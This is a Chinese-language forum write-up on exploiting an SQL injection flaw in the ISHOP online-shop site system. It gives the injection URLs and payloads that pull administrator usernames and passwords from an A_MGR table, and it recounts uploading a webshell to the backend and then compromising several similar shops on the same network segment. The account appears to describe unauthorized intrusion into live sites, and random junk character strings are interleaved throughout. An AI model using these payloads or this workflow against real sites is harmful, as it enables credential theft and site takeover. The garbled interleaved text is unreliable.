ISHOP商场建站系统注入漏洞

admin

发现一个注入点
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
; y) G" e9 c% I& S5 I
习惯性的加’having1=1--
% N+ d# `, }! _4 J
/ s5 g. q: i% F# s9 y" ^) ^http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
& v: E4 R2 @$ T$ ?) M, y8 G, E
0
1 h* O. Z& w) ?, O8 |5 q* P
0 M( j8 z9 C8 [) d( [8 ^1 Q$ m# }/ S爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
3 L7 d2 u6 Q! _6 |6 l/ ihttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
4 h& e0 b; k3 C" Z/ U
6 K9 i; G. |, A, E+ l9 B继续，一直爆下去
) D) z9 r: z/ J5 c/ v7 J
/ a, E+ S6 y1 H爆到几个字段和表段 但是没找到需要的管理用户的字段
" i, q5 @* C/ D2 D! x: {" k. u) b
蛋疼了 怎么办 然后去后台登陆页看源码
; V- O# F% b  r3 }; w; P2 O7 [& [2 n
0

Input name= “ADUID”
Input name= “ADPWD”

/ C1 S+ {& K$ p( e/ w9 M很幸运 找到了字段那就继续
8 x" {; L, Y1 G" a' X; ?找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
0 d0 n5 p( \8 b5 |0 d, d. h8 Rhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
% n  C8 `! k4 B2 b( H) E" `0 l测试了下 这个注入点只能爆到文章哪里的表
7 t& }$ j0 l1 T5 y) I# G" O3 T
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
/ A) j+ ~+ R) r8 Y; A' u
& A. ^) I5 |- o: r, ?; A0 E2 c又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
( O$ |& d% A* w! y$ r; }: z" s. _
( R5 [0 T; U5 y4 X! M* M473
/ S: Z$ v% k: k. G
2 b8 E& o- t* ~. C" G. w进后台
6 W# f3 ]0 W4 W, C% `5 A

发现几个上传点 有的地方不能上传 而且防止恶意代码
  e" U0 B( E/ X- ]6 }
0 z0 d$ e4 U( B+ F$ `5 X没办法 各种百度各种找大牛 找到一只好像可以突破的马

/ {% c5 x- j  ^+ W. W1 k4 ^
) _* ]% k; _$ i. s0 x在系统管理那里直接上传 不过没有显示地址
1 u9 N# o. m: k  k" U
2 ]% Z2 z& v& O' H. [再上传一次 抓包 搞定OK
4 Y" [+ _0 b- v2 `: s+ W/ ]3 Z


472
" [' Q3 A- o4 ?4 A( F
4 m1 }$ k7 Q( B( y, {' ~4 l% `/ Y5 r晚上不行了 去睡觉。。。
6 c9 w3 W# `' x9 o  V! k( @第二天刚起床 闲的没事做继续日站吧
% y& ]0 h8 A7 `8 r3 q& U! H9 X2 n0 T7 S
0 A+ @( [& Q0 P3 `- q找个站 就把这个站的旁c扫了下
% \- s- u/ t2 \$ g( V( q8 N) _) q
) |: \# y* M" t# F. L$ q- E发现c段也有一个购物站 ，然后还和这个站的模板差不多

就找到会员登录口测试
6 }4 @+ ?, Q* `7 y, }& h% N
7 p$ }9 s8 W$ D  ~7 h8 Y'and (select top 1 MGR_UID from A_MGR)>0—
  `8 Q1 |  r3 d$ q. }3 m' [果断爆到了 这时候我很激动 通杀

再次翻c段
/ p2 x; \6 \# O% a2 H
翻出几个站 都成功拿下
" v$ a4 d, w9 q& z4 k

5 K, Z& }% Y% m# I4 v/ A3 x
, ^) [, p3 ?- f* i修复方案：
3 Y, f9 L, f  A' C2 M1 Q他们比我专业
​
4 O9 Y+ h- y, f# s5 y
: C. g+ M3 S+ t